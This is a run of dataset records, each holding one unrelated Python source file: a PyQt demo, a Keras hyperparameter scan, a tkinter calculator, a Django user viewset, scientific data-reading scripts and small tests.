pygame.display.update()\n","sub_path":"daily.py","file_name":"daily.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"37776544","text":"from collections import Counter\n#l = ['a', 'a', 'a', 'a', 'b', 'c', 'c']\n#c = Counter(l)\n#print(c) # Counter({'a': 4, 'c': 2, 'b': 1})\n\nN = int(input())\na = list(map(int, input().split()))\n\nC = Counter(a)\n\nans = 0\nfor k, v in C.items():\n k = int(k)\n \n if kv:\n ans += v\n\nprint(ans)","sub_path":"atcoder/2017/ABC/1216_abc082/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"329641639","text":"from PyQt5.QtWidgets import QApplication, QWidget, QLabel, QPushButton, QGridLayout, QComboBox, QProgressBar\nfrom PyQt5.QtGui import QIcon, QPixmap\nimport sys\n\nPATH_TO_DOLPHIN = \"Dolphin.exe\"\nPATH_TO_GAME = \"\"\n\nclass MainWindow(QWidget):\n def __init__(self):\n super().__init__()\n # We need to instantiate a \"private\" variable and define getters \n # and setters on it for QT databinding to work properly.\n self._n = 0\n self.initUI()\n\n @property\n def n(self):\n return self._n\n\n @n.setter\n def n(self, value):\n self.button.setText(str(value))\n self.progressBar.setValue(value)\n self._n = value\n\n\n \n\n\n def initUI(self):\n self.setGeometry(600,600,600,600)\n layoutGrid = QGridLayout(self)\n\n\n # Basic Button Functionality\n self.button = QPushButton(str(self.n), self)\n self.button.clicked.connect(self.buttonClicked)\n layoutGrid.addWidget(self.button, 1, 1)\n \n # Progress Bar\n self.progressBar = QProgressBar(self)\n self.progressBar.setMinimum(0)\n self.progressBar.setMaximum(100)\n layoutGrid.addWidget(self.progressBar, 1, 2)\n\n # Dropdown \n self.dropDownMenu = QComboBox(self)\n self.entries = [\"qtdemo/screenshot1.png\", \"qtdemo/screenshot2.png\"]\n for i in range(len(self.entries)):\n self.dropDownMenu.insertItem(i, self.entries[i])\n self.dropDownMenu.currentIndexChanged.connect(self.updateImage)\n layoutGrid.addWidget(self.dropDownMenu, 1, 0)\n\n # Images\n self.img = QLabel(self)\n pixmap = QPixmap(self.entries[0])\n self.img.setPixmap(pixmap)\n layoutGrid.addWidget(self.img, 0, 0)\n\n\n\n # Show the window \n self.show()\n\n def buttonClicked(self, event):\n self.n = self.n + 1\n\n def updateImage(self, newIndex):\n pixmap = QPixmap(self.entries[newIndex])\n self.img.setPixmap(pixmap)\n\ndef main():\n app = QApplication([])\n window = MainWindow()\n sys.exit(app.exec_())\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"tp1/demos/qtdemo.py","file_name":"qtdemo.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"95572634","text":"#!/usr/bin/env python3\n\n# Load of the library that needed\n\n# Import package to scan hyperparameter\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom scipy.stats import randint as sp_randint\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom keras.models import load_model\nfrom sklearn.externals import joblib\n\n# Import package to reprocess the data\nimport numpy as np\nimport random\nimport pandas as pd\n\n# Import keras item\nimport keras\n\nfrom keras.layers import *\nfrom keras.optimizers import *\nfrom keras.applications import *\nfrom keras.models import *\nfrom keras.models import Model\nfrom keras.layers import Input, Dense\nfrom keras.wrappers.scikit_learn import KerasClassifier\n\n# Get all of the data and reprocess them\n\n# Get the reprocessed data from .npy file\nx_train = np.load('/hpc-home/kristian/effector-non-effector/scripts-cnn-lstm-separate-group/data-oomycete/secreted_non_identical/x_train_oomycete.npy')\ny_train = np.load('/hpc-home/kristian/effector-non-effector/scripts-cnn-lstm-separate-group/data-oomycete/secreted_non_identical/y_train_oomycete.npy')\nx_dev = np.load('/hpc-home/kristian/effector-non-effector/scripts-cnn-lstm-separate-group/data-oomycete/secreted_non_identical/x_val_oomycete.npy')\ny_dev = np.load('/hpc-home/kristian/effector-non-effector/scripts-cnn-lstm-separate-group/data-oomycete/secreted_non_identical/y_val_oomycete.npy')\nx_test = np.load('/hpc-home/kristian/effector-non-effector/scripts-cnn-lstm-separate-group/data-oomycete/secreted_non_identical/x_test_oomycete.npy')\ny_test = np.load('/hpc-home/kristian/effector-non-effector/scripts-cnn-lstm-separate-group/data-oomycete/secreted_non_identical/y_test_oomycete.npy')\n\n# This Section is used to shuffle the data\n# Aggregates elements\ndata_training = list(zip(x_train, y_train))\ndata_development = list(zip(x_dev, y_dev))\ndata_testing = list(zip(x_test, y_test))\n\n# Shuffle the aggragated element on the list\nrandom.shuffle(data_training)\nrandom.shuffle(data_development)\nrandom.shuffle(data_testing)\n\n# Combine data training dan data development become one list of data train\ndata_train = data_training + data_development\n\n# Split the shuffled data\nx_train, y_train = zip(*data_train)\nx_test, y_test = zip(*data_testing)\n\n# Unpack the tuples\nx_train = np.array(list(x_train))\ny_train = np.array(list(y_train))\nx_test = np.array(list(x_test))\ny_test = np.array(list(y_test))\n\n\n# Define the convolutional layer with batch normalization\ndef conv1d_bn(x,\n filters,\n kernel_size,\n padding = 'same',\n strides = 1,\n activation_convolution = 'relu'):\n \"\"\"Utility function to apply conv + BN.\n # Arguments\n x: input tensor.\n filters: filters in `Conv1D`.\n num_row: height of the convolution kernel.\n num_col: width of the convolution kernel.\n padding: padding mode in `Conv1D`.\n strides: strides in `Conv1D`.\n\n # Returns\n Output tensor after applying `Conv2D` and `BatchNormalization`.\n \"\"\"\n\n x = layers.Conv1D(filters,\n \t kernel_size,\n strides = strides,\n padding = padding,\n use_bias = False,\n kernel_regularizer = regularizers.l1(0.001),\n bias_regularizer = regularizers.l1(0.001)\n )(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation(activation_convolution)(x)\n return x\n\n# Define the base model\ndef build_model_conv1D_lstm(filters,\n\t\t\t\t\t\t\tfilters_LSTM,\n\t\t\t\t\t\t\tstrides,\n\t\t\t\t\t\t\tpadding,\n\t\t\t\t\t\t\tactivation_convolution,\n\t\t\t\t\t\t\tactivation_LSTM,\n\t\t\t\t\t\t\toptimizers,\n\t\t\t\t\t\t\tnumber_hidden_units):\n\n\tinput = Input(shape = x_train.shape[1:])\n\tconvolution_1 = conv1d_bn(x = input,\n\t\t\t\t\t\t\t filters = filters,\n\t\t\t\t\t\t\t kernel_size = 1,\n\t\t\t strides = strides,\n\t\t\t padding = padding,\n\t\t\t activation_convolution = activation_convolution)\n\tconvolution_2 = conv1d_bn(x = input,\n\t\t\t\t\t\t\t filters = filters,\n\t\t\t\t\t\t\t kernel_size = 3,\n\t\t\t strides = strides,\n\t\t\t padding = padding,\n\t\t\t activation_convolution = activation_convolution)\n\tconvolution_3 = conv1d_bn(x = input,\n\t\t\t filters = filters,\n\t\t\t\t\t\t\t kernel_size = 5,\n\t\t\t strides = strides,\n\t\t\t padding = padding,\n\t\t\t activation_convolution = activation_convolution)\n\tmodel = keras.layers.concatenate([convolution_1,\n\t \t convolution_2,\n\t convolution_3], axis=1)\n\tmodel = Conv1D(filters * 2,\n\t \t\t kernel_size = 3,\n\t \t\t strides = 1,\n\t \t\t padding = padding,\n\t \t\t activation = activation_convolution,\n\t \t\t use_bias = True,\n\t \t\t kernel_initializer = 'glorot_uniform',\n\t \t\t bias_initializer = 'zeros',\n\t \t\t kernel_regularizer = regularizers.l1(0.001),\n bias_regularizer = regularizers.l1(0.001)\n )(model)\n\tmodel_lstm_1 = LSTM(filters_LSTM,\n\t \t\t\tactivation = activation_LSTM,\n\t \t\t\trecurrent_activation = 'hard_sigmoid',\n\t \t\t\tuse_bias = True,\n\t \t\t\tkernel_initializer = 'glorot_uniform',\n\t \t\t\trecurrent_initializer = 'orthogonal',\n\t \t\t\tbias_initializer = 'zeros',\n\t \t\t\tgo_backwards = False)(model)\n\n\tmodel_lstm_2 = LSTM(filters_LSTM,\n\t activation = activation_LSTM,\n\t recurrent_activation = 'hard_sigmoid',\n\t use_bias = True,\n\t kernel_initializer = 'glorot_uniform',\n\t \t\t\trecurrent_initializer = 'orthogonal',\n\t \t\t\tbias_initializer = 'zeros',\n\t \t\t\tgo_backwards = True)(model)\n\n\tmodel_final = keras.layers.concatenate([model_lstm_1, model_lstm_2])\n\n\toutput = Dense(number_hidden_units, activation = 'relu')(model_final)\n\tdropout = Dropout(0.5)(output)\n\toutput = Dense(1, activation = 'sigmoid')(dropout)\n\n\tmodel = Model(inputs = input, outputs = output)\n\n\tmodel.compile(loss = 'binary_crossentropy',\n optimizer = optimizers,\n metrics = ['accuracy'])\n\n\tprint(model.summary())\n\treturn model\n\n\n# Pass the model design to KerasClassifier() wrapper\n\nmodel = KerasClassifier(build_fn = build_model_conv1D_lstm, verbose = 1)\n\n# Define the parameters that will be tuned randomly\nkeras_param_options = {'filters' : [4, 8, 16],\n\t\t\t\t\t 'filters_LSTM' : [4, 8, 16],\n\t\t\t\t\t 'strides' : [1],\n\t\t\t\t\t 'padding' : ['valid'],\n\t\t\t\t\t 'activation_convolution' : [None],\n\t\t\t\t\t 'activation_LSTM' : ['tanh'],\n\t\t\t\t\t 'optimizers' : ['Adam', 'Adadelta'],\n\t\t\t\t\t 'number_hidden_units' : [4, 8],\n\t\t\t\t\t 'epochs' : [30],\n\t\t\t\t\t 'batch_size' : [4, 8, 16]}\n\n# Using RandomizedSearchCV to find the best model randomly\nrandom_search = RandomizedSearchCV(model,\n param_distributions = keras_param_options,\n n_iter = 50,\n cv = 5,\n verbose = 10)\n\n# Fit to the training data\nrandom_search.fit(x_train, y_train)\ndf_result_hyper_tuned = pd.DataFrame.from_dict(random_search.cv_results_)\ndf_result_hyper_tuned.to_csv('/hpc-home/kristian/effector-non-effector/scripts-cnn-lstm-separate-group/scripts-scan-multiclass/oomycete/results/all_scan_results_cnn_lstm_scan_oomycete_secreted_data.csv')\n\n# Save all of the params to be used to predict on the test data\ndf_result_hyper_tuned['mean_test_score']= pd.to_numeric(df_result_hyper_tuned['mean_test_score'])\nparam_best_model_dict = dict(df_result_hyper_tuned.nlargest(30, 'mean_test_score')['params'])\nparams = list(param_best_model_dict.values())\nprint(params)\n\n# Get info ahead about the best model obtained\nprint('Best score obtained: {0}'.format(random_search.best_score_))\nprint('Parameters:')\nfor param, value in random_search.best_params_.items():\n print('\\t{}: {}'.format(param, value))\n\n\n# Predict the prediction of the best model\nprint('Predict using test data using random_search:')\ny_pred_random_search = random_search.predict(x_test)\nacc_pred_random_search = accuracy_score(y_test, y_pred_random_search)\nprint('acc y_pred_random_search:', acc_pred_random_search)\n\n# Predict the results of hyperparamaters tuning for all parameters\n\n# Define function to fit the model\ndef train_fc_model(batch_sizes = None, num_epochs = None):\n model.fit(x = x_train,\n y = y_train,\n batch_size = batch_sizes,\n epochs = num_epochs,\n verbose = 1,\n shuffle = 1)\n\n# Define the function to calculate sensitivity and specificity\ndef sensitivity_specificity(predictions, y_test, mode='binary'):\n if mode == 'binary':\n # Determine positive class predictions\n index = predictions > 0.5\n predictions = np.zeros(predictions.shape)\n predictions[index] = 1\n # No need to modify y_test since it consists of zeros and ones already\n else:\n y_test = y_test\n predictions = np.argmax(predictions, axis=-1)\n\n # In the binary classification case as we create, we can extract tn, fp, fn, tp as follows\n tn, fp, fn, tp = confusion_matrix(y_test, predictions, labels = [0, 1]).ravel()\n\n # Sensitivity = TP / (TP + FN)\n sensitivity = tp / (tp + fn)\n\n # Specificity = TN / (TN + FP)\n specificity = tn / (tn + fp)\n\n # Precision = TP / (TP + FP)\n precision = tp / (tp + fp)\n\n # Return sensitivity, specificity, precision\n return(sensitivity, specificity, precision)\n\n\n# Define function to evaluate and predict\ndef evaluate_predict_fc_model():\n loss, acc = model.evaluate(x_test, y_test, verbose = 0)\n prediction = model.predict(x_test)\n sensitivity, specificity, precision = sensitivity_specificity(prediction, y_test, mode='binary')\n return acc, sensitivity, specificity, precision\n\n\n# Make prediction of test data\n\nresult_list = []\ncolumns_names = ['Parameters',\n 'Accuracy',\n 'Sensitivity',\n 'Specifity']\n\n\n# For loop to train model and get prediction for each combination of dataset\nfor i in range(len(params)):\n list_par = list(params[i].values())\n # Define the models\n model = build_model_conv1D_lstm(filters = list_par[5],\n\t\t\t\t\t\t\t\t\tfilters_LSTM = list_par[4],\n\t\t\t\t\t\t\t\t\tstrides = list_par[0],\n\t\t\t\t\t\t\t\t\tpadding = list_par[1],\n\t\t\t\t\t\t\t\t\tactivation_convolution = list_par[8],\n\t\t\t\t\t\t\t\t\tactivation_LSTM = list_par[9],\n\t\t\t\t\t\t\t\t\toptimizers = list_par[2],\n\t\t\t\t\t\t\t\t\tnumber_hidden_units = list_par[3])\n\n # Train the model one by one based on the parameters combination\n train_fc_model(batch_sizes = list_par[7], num_epochs = list_par[6])\n acc, sensitivity, specifity, precision = evaluate_predict_fc_model()\n result_line = np.array((params[i],\n acc,\n sensitivity,\n specifity))\n result_list.append(result_line[:])\n result_array = np.asarray(result_list)\n\n df_results = pd.DataFrame(result_array,\n columns = columns_names)\n\ndf_results.to_csv('/hpc-home/kristian/effector-non-effector/scripts-cnn-lstm-separate-group/scripts-scan-multiclass/oomycete/results/df_pred_results_cnn_lstm_scan_oomycete_secreted_data.csv')\n\n\n","sub_path":"scripts/python-scripts/hyperparameter-scan-scripts/oomycete/0001-cnn-lstm-scan-oomycete-secreted.py","file_name":"0001-cnn-lstm-scan-oomycete-secreted.py","file_ext":"py","file_size_in_byte":11383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"563792104","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 13 09:21:06 2019\n\n@author: wenninger\n\"\"\"\nimport numpy as np\nimport sys\n\nsys.path.insert(0, '../../Helper')\nsys.path.insert(0, '../../IV_Mixer_Analysis')\n\nfrom IV_Class import IV_Response,kwargs_IV_Response_rawData\nfrom Read_Filenames import read_Filenames,filenamesstr_of_interest\nfrom Mixer import Mixer,kwargs_Mixer_rawData\nfrom plotxy import plot\n\n# Name: folder/c-[Temperature]-[?const]-[measurment index]-[hot/cold].csv\n#filenamesstr: \n# [1] Physical temperature \n# [3] Measurement Index Missing sometimes\n# [-1] Hot Cold\nfilenames,filenamesstr = read_Filenames(\"\")\n\nfilenamesstrReduced = filenamesstr_of_interest(filenamesstr,[1,3,-1])\n\n#Group the indexes\nindexGroups =[]\nfor temp in np.unique(filenamesstrReduced[:,0]):\n for pump in np.unique(filenamesstrReduced[:,2]):\n indexGroups.append([temp,pump,np.where(np.logical_and(filenamesstrReduced[:,0]==temp, \n filenamesstrReduced[:,2]==pump))[0]])\nindexGroups = np.array(indexGroups)\n\n##filenames[indexGroups[0,2]]\n#IV = []\n#for i in indexGroups[:,2]:\n# if not i.size==0: #'univ' arrays are empty \n# IV.append(IV_Response(filenames[i],filenamesstrReduced[i],numberOfBins=1000))\n#IV = np.array(IV)\n\n#filenames[indexGroups[0,2]]\n\nnbins =1000\n\n#IV_Response and Mixer without kwargs\n#Mixers = []\n#for temp in np.unique(indexGroups[:,0]):\n# IVs =[]\n# for select in ['iv','hot','cold','univ'] :\n# # not all univ, unpumped IV curves are available\n# index= indexGroups[np.where(np.logical_and(indexGroups[:,0]==temp, indexGroups[:,1]==select))[0],2][0]\n# if not index.size==0:\n# #Initialise the IV responses\n# IVs.append(IV_Response(filenames[index],filenamesstrReduced[index],numberOfBins=nbins))\n# #Initialise the Mixer\n# if len(IVs)==3:\n# Mixers.append(Mixer(Pumped=IVs[0],IFHot=IVs[1], IFCold=IVs[2], description = temp))\n# else: \n# Mixers.append(Mixer(Unpumped=IVs[3],Pumped=IVs[0],IFHot=IVs[1], IFCold=IVs[2],description = temp))\n#\n#With kwargs for testing kwargs input\n#Mixers = []\n#for temp in np.unique(indexGroups[:,0]):\n# IVs =[]\n# for select in ['iv','hot','cold','univ'] :\n# # not all univ, unpumped IV curves are available\n# index= indexGroups[np.where(np.logical_and(indexGroups[:,0]==temp, indexGroups[:,1]==select))[0],2][0]\n# if not index.size==0:\n# #Initialise the IV responses\n# IVs.append(IV_Response(filenames[index],**kwargs_IV_Response_rawData))\n# #Initialise the Mixer\n# if len(IVs)==3:\n# Mixers.append(Mixer(Pumped=IVs[0],IFHot=IVs[1], IFCold=IVs[2],**kwargs_Mixer_rawData))\n# else: \n# Mixers.append(Mixer(Unpumped=IVs[3],Pumped=IVs[0],IFHot=IVs[1], IFCold=IVs[2],**kwargs_Mixer_rawData))\n \n#With kwargs\nMixers = []\nfor temp in np.unique(indexGroups[:,0]):\n IVs =[]\n for select in ['iv','hot','cold','univ'] :\n # not all univ, unpumped IV curves are available\n index= indexGroups[np.where(np.logical_and(indexGroups[:,0]==temp, indexGroups[:,1]==select))[0],2][0]\n if not index.size==0:\n #Initialise the IV responses\n IVs.append(filenames[index])\n #Initialise the Mixer\n if len(IVs)==3:\n Mixers.append(Mixer(Pumped=IVs[0],IFHot=IVs[1], IFCold=IVs[2],**kwargs_Mixer_rawData))\n else: \n Mixers.append(Mixer(Unpumped=IVs[3],Pumped=IVs[0],IFHot=IVs[1], IFCold=IVs[2],**kwargs_Mixer_rawData))\n \n\n","sub_path":"2019_11_12_Alessandro_IF/Alessandro_IF_2019_11_12.py","file_name":"Alessandro_IF_2019_11_12.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"616350350","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport matplotlib.pyplot as plt\nfrom os import path\nimport logging\nfrom netcdfstream import stream\n\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.DEBUG)\n\n\nhere = path.abspath(path.dirname(__file__))\nsrc = path.join(here, '../data/sresa1b_ncar_ccsm3-example.nc')\n\n#erda_ro = \"/home/niklas/repos/climate/erda_ro\"\n#ctrl_ocn = \"Ocean/GCS_2015_2017/CESM_OUTPUT/ctrl_ocn\"\n#src = path.join(erda_ro, ctrl_ocn, \"ctrl.g.e11.G.T62_t12.002.pop.h.0025-01-03.nc\")\n\n#CESM_niklas = \"Ocean/CESM_output_niklas\"\n#src = path.join(erda_ro, CESM_niklas, \"sresa1b_ncar_ccsm3-example.nc\")\n\nlogger.info(\"Opening stream ...\")\nfin = open(src, 'rb')\nlogger.info(\"Init netCDF stream ...\")\nnc = stream.NetcdfStream(fin)\n\nlogger.info(nc.dimensions)\nimport pprint\nlogger.info(pprint.pformat(nc.meta['TBLT']))\n\nfor i in range(nc.varnr):\n\n name, meta, data = nc.read_dataset()\n logger.info(name)\n logger.info(data)\n\n if len(data.shape) == 1:\n plt.plot(data)\n elif len(data.shape) == 2:\n plt.imshow(data)\n elif len(data.shape) == 3:\n plt.imshow(data[0])\n else:\n print('Unkown data shape:', data.shape)\n plt.title(name)\n plt.show()\n","sub_path":"examples/read_local.py","file_name":"read_local.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"487471583","text":"from djoser.views import UserViewSet\nfrom rest_framework import status\nfrom rest_framework.decorators import action\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework.pagination import LimitOffsetPagination\nfrom rest_framework.permissions import IsAuthenticatedOrReadOnly\nfrom rest_framework.response import Response\n\nfrom api.serializers import UserFollowSerializer\nfrom users.models import Follow, User\nfrom users.serializers import UserSerializer\n\n\nclass CustomUserViewSet(UserViewSet):\n serializer_class = UserSerializer\n permission_classes = [IsAuthenticatedOrReadOnly]\n pagination_class = LimitOffsetPagination\n\n @action(['get'], detail=False)\n def subscriptions(self, request):\n follower = User.objects.filter(follow__user=request.user)\n page = self.paginate_queryset(follower)\n serializer = UserFollowSerializer(\n page,\n many=True,\n context={'user': request.user})\n return self.get_paginated_response(serializer.data)\n\n @action(['get'], detail=False)\n def me(self, request):\n serializer = UserSerializer(request.user)\n return Response(serializer.data)\n\n @action(['get', 'delete'], detail=True)\n def subscribe(self, request, id=None):\n queryset = User.objects.all()\n follow = get_object_or_404(queryset, id=id)\n if request.method == 'GET':\n Follow.objects.get_or_create(\n user=request.user,\n following=follow,\n )\n elif request.method == 'DELETE':\n try:\n following = Follow.objects.get(\n user=request.user,\n following=follow\n )\n following.delete()\n except ValueError:\n return Response(\n {'errors': 'Вы не подписаны на этого пользователя', },\n status.HTTP_400_BAD_REQUEST\n )\n serializer = self.get_serializer(follow)\n return Response(serializer.data)\n","sub_path":"backend/foodgram/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"490676402","text":"from tkinter import *\n\nroot = Tk()\nroot.title('Simple calc')\n\nmath = ''\nf_num = None\nis_operation = False\n\ndef float_or_int(number):\n\tif str(number).find('.') == -1:\n\t\treturn int(number)\n\telif str(number)[str(number).find('.'):] == '.0':\n\t\treturn int(number)\n\telse:\n\t\treturn float(number)\n\ndef solving_equations(second_number):\n\tglobal math\n\tglobal f_num\n\tif math == 'addition':\n\t\treturn float_or_int(f_num + float(second_number))\n\n\tif math == 'substraction':\n\t\treturn float_or_int(f_num - float(second_number))\n\n\tif math == 'multiplication':\n\t\treturn float_or_int(f_num * float(second_number))\n\n\tif math == 'division':\n\t\treturn float_or_int(f_num / float(second_number))\n\ndef button_click(number):\n\tglobal is_operation\n\tbutton_AC['text'] = 'C'\n\tif not(is_operation):\n\t\tinputField.insert(END, number)\n\telse:\n\t\tinputField.delete(0, END)\n\t\tinputField.insert(END, number)\n\t\tis_operation = False\n\ndef button_insert(sign):\n\tinput_number = inputField.get()\n\tif sign == '.':\n\t\tif input_number.find('.') == -1:\n\t\t\tinputField.insert(END, sign)\n\n\tif sign == '-':\n\t\tif input_number[0] == '-':\n\t\t\tinputField.delete(0, END)\n\t\t\tinputField.insert(0, input_number[1:])\n\t\telse:\n\t\t\tinputField.insert(0, sign)\n\ndef button_clear():\n\tglobal math\n\tglobal f_num\n\tglobal is_operation\n\tif button_AC['text'] == 'AC':\n\t\tmath = ''\n\t\tf_num = None\n\t\tis_operation = False\n\t\tinputField.delete(0, END)\n\n\telif button_AC['text'] == 'C':\n\t\tbutton_AC['text'] = 'AC'\n\t\tinputField.delete(0, END)\n\ndef button_add():\n\tfirst_number = inputField.get()\n\tglobal f_num\n\tglobal math\n\tglobal is_operation\n\tis_operation = True\n\tmath = 'addition'\n\tf_num = float(first_number)\n\ndef button_substract():\n\tfirst_number = inputField.get()\n\tglobal f_num\n\tglobal math\n\tglobal is_operation\n\tis_operation = True\n\tmath = 'substraction'\n\tf_num = float(first_number)\n\ndef button_multiply():\n\tfirst_number = inputField.get()\n\tglobal f_num\n\tglobal math\n\tglobal is_operation\n\tis_operation = True\n\tmath = 'multiplication'\n\tf_num = float(first_number)\n\ndef button_divide():\n\tfirst_number = inputField.get()\n\tglobal f_num\n\tglobal math\n\tglobal is_operation\n\tis_operation = True\n\tmath = 'division'\n\tf_num = float(first_number)\n\ndef button_percentage():\n\tinput_number = float(inputField.get())\n\tif f_num == None:\n\t\tinputField.delete(0, END)\n\t\tinputField.insert(0, float_or_int(input_number / 100))\n\telse:\n\t\tinputField.delete(0, END)\n\t\tinputField.insert(0, float_or_int(f_num * (input_number / 100)))\n\ndef button_equal():\n\tif math == '':\n\t\treturn\n\n\tsecond_number = inputField.get()\n\tinputField.delete(0, END)\n\n\tinputField.insert(0, solving_equations(second_number))\n\n\ninputField = Entry(root, width = 28, borderwidth = 5)\n\nbutton_0 = Button(root, text = '0', width = 14, padx = 3, height = 3, command = lambda: button_click(0))\nbutton_1 = Button(root, text = '1', width = 7, height = 3, command = lambda: button_click(1))\nbutton_2 = Button(root, text = '2', width = 7, height = 3, command = lambda: button_click(2))\nbutton_3 = Button(root, text = '3', width = 7, height = 3, command = lambda: button_click(3))\nbutton_4 = Button(root, text = '4', width = 7, height = 3, command = lambda: button_click(4))\nbutton_5 = Button(root, text = '5', width = 7, height = 3, command = lambda: button_click(5))\nbutton_6 = Button(root, text = '6', width = 7, height = 3, command = lambda: button_click(6))\nbutton_7 = Button(root, text = '7', width = 7, height = 3, command = lambda: button_click(7))\nbutton_8 = Button(root, text = '8', width = 7, height = 3, command = lambda: button_click(8))\nbutton_9 = Button(root, text = '9', width = 7, height = 3, command = lambda: button_click(9))\n\nbutton_coma = Button(root, text = ',', width = 7, height = 3, command = lambda: button_insert('.'))\nbutton_plusMinus = Button(root, text = '+/-', width = 7, height = 3, command = lambda: button_insert('-'))\nbutton_AC = Button(root, text = 'AC', width = 7, height = 3, command = button_clear)\nbutton_add = Button(root, text = '+', width = 7, height = 3, command = button_add)\nbutton_substract = Button(root, text = '-', width = 7, height = 3, command = button_substract)\nbutton_multiply = Button(root, text = '*', width = 7, height = 3, command = button_multiply)\nbutton_divide = Button(root, text = '/', width = 7, height = 3, command = button_divide)\nbutton_percentage = Button(root, text = '%', width = 7, height = 3, command = button_percentage)\nbutton_equal = Button(root, text = '=', width = 7, height = 3, command = button_equal)\n\n# Put the buttons on the screen\ninputField.grid(row = 0, column = 0, columnspan = 4)\n\nbutton_AC.grid(row = 1, column = 0)\nbutton_plusMinus.grid(row = 1, column = 1)\nbutton_percentage.grid(row = 1, column = 2)\nbutton_divide.grid(row = 1, column = 3)\n\nbutton_7.grid(row = 2, column = 0)\nbutton_8.grid(row = 2, column = 1)\nbutton_9.grid(row = 2, column = 2)\nbutton_multiply.grid(row = 2, column = 3)\n\nbutton_4.grid(row = 3, column = 0)\nbutton_5.grid(row = 3, column = 1)\nbutton_6.grid(row = 3, column = 2)\nbutton_substract.grid(row = 3, column = 3)\n\nbutton_1.grid(row = 4, column = 0)\nbutton_2.grid(row = 4, column = 1)\nbutton_3.grid(row = 4, column = 2)\nbutton_add.grid(row = 4, column = 3)\n\nbutton_0.grid(row = 5, column = 0, columnspan = 2)\nbutton_coma.grid(row = 5, column = 2)\nbutton_equal.grid(row = 5, column = 3)\n\n\nroot.mainloop()","sub_path":"python/9calculatorInPython/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":5275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"576253340","text":"from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.naive_bayes import MultinomialNB\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\n\n''' KAGGLE FILES '''\nTRAIN_FILE = 'train.csv'\ndf = pd.read_csv(TRAIN_FILE)\nKAGGLE_TEST_FILE = 'test.csv'\nkaggle_test_df = pd.read_csv(KAGGLE_TEST_FILE)\n\n''' Renaming Labels '''\ndf.loc[df['author']=='EAP', 'author'] = 0\ndf.loc[df['author']=='HPL', 'author'] = 1\ndf.loc[df['author']=='MWS', 'author'] = 2\n\n''' Extracting Necessary Things '''\nX = df['text']\nX_kaggle = kaggle_test_df['text']\ny = df['author'].astype('int')\n\n''' Transforming Data For Use '''\ntfidf = TfidfVectorizer(stop_words='english')\nX = tfidf.fit_transform(X)\nX_kaggle = tfidf.transform(X_kaggle)\n\n\n''' Grid Search '''\nclf = MultinomialNB(fit_prior=True, alpha=.01)\n\nalpha_range = [i for i in np.arange(0.000,1.0,.015)]\nprior = [True, False] # Taken out after initial grid search so we wcan graph easier\ngrid_clf = GridSearchCV(clf, {'alpha': alpha_range},scoring='accuracy', n_jobs=1, cv=100)\ngrid_clf.fit(X, y)\n\n''' Processing Results '''\nmean_scores = [result.mean_validation_score for result in grid_clf.grid_scores_]\nplt.plot(alpha_range, mean_scores)\nplt.ylabel('Mean Score (CV=100)')\nplt.xlabel('Alpha')\nplt.show()\nprint(grid_clf.best_score_, grid_clf.best_params_)\n\n\n''' One Vs Rest Classification from Grid Search Result '''\nmnb_ovr = OneVsRestClassifier(grid_clf.best_estimator_, n_jobs=1)\nmnb_ovr.fit(X, y)\nkaggle_results = mnb_ovr.predict_proba(X_kaggle)\nprint(kaggle_results)\n","sub_path":"Submissions/Submission4_AlphaPt18_PriorTrue.py","file_name":"Submission4_AlphaPt18_PriorTrue.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"262154132","text":"\ndef expose(obj,names=None,cl=None):\n\n \"\"\" Expose the methods of an object to the specified dictionary.\n (I am not sure whether this is exactly compatible to what does the\n interpreter...)\n\n \"\"\"\n if names is None:\n names = {}\n\n if cl is None:\n cl = obj.__class__\n \n for name in cl.__dict__.keys():\n if not hasattr(names,name):\n names[name] = getattr(obj,name)\n \n for base in cl.__bases__:\n names = expose(obj,names,base)\n\n return names\n\n\n","sub_path":"timtools/misc/expose.py","file_name":"expose.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"575848421","text":"import uuid\nimport json\n\nfrom rentomatic.serializers import room_json_serializer as ser\nfrom rentomatic.domain import room as r\n\ndef test_room_domain_room():\n\n code = uuid.uuid4()\n room = r.Room(code, size=200,price=10, longitude=300, latitude=400)\n\n expected_json = \"\"\"\n {{\n \"code\": \"{}\",\n \"size\": 200,\n \"price\": 10,\n \"longitude\": 300,\n \"latitude\": 400\n }}\n \"\"\".format(code)\n\n json_room = json.dumps(room,cls=ser.RoomJsonEncoder)\n assert json.loads(json_room) == 